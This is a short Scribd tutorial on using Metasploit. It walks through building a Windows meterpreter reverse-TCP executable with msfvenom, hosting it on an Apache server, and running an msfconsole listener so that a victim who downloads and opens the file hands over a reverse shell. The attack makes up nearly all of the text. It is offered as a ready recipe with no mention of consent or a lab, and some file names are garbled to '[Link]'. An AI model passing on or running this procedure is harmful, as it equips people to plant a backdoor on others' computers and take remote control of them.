0% found this document useful (0 votes)
4 views4 pages

Metasploit Framework: Penetration Testing Guide

Hacking Tools

Uploaded by

Armaghan World
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
4 views4 pages

Metasploit Framework: Penetration Testing Guide

Hacking Tools

Uploaded by

Armaghan World
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd

Metasploit-framework

Metasploit-framework is a powerful and advanced tool.

It is used to penetration testing , find and exploit vulnerability.

Metasploit including exploit vulnerability and payload to get access of system .

It has its own terminal msfconsole

Here are the steps of the Metasploit toolkit use:

[Link] step is install Metasploit-frame work by this command


“sudo apt install Metasploit-framework”

[Link] make a payload by this command enter on kali terminal

“sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=(ip address) LPORT=4444 -f exe


-o [Link]”
3. Now show the list by “ls” move payload folder to
“sudo mv [Link] /var/[Link]”

4. Now open this directory and remove all thing one by one except payload by enter the command
of
“rm (directory name)”

Now it has only one directory which is payload .

[Link] enter the apache command to check the server is running correctly

These are the apache command

“sudo systemctl start apache2”


“sudo service apache2 start”
6. Now open the Metasploit terminal by
“sudo msfconsole”

Enter the following command to get data of targeted machine

“set payload windows/meterpreter/reverse_tcp”


“set lhost (ip address)”
“set lport 4444”
“run”

Now open window and enter ip on browser


It show a payload file
Download it and open it
When we open it it give a reverse shell provide information as shown in picture

You might also like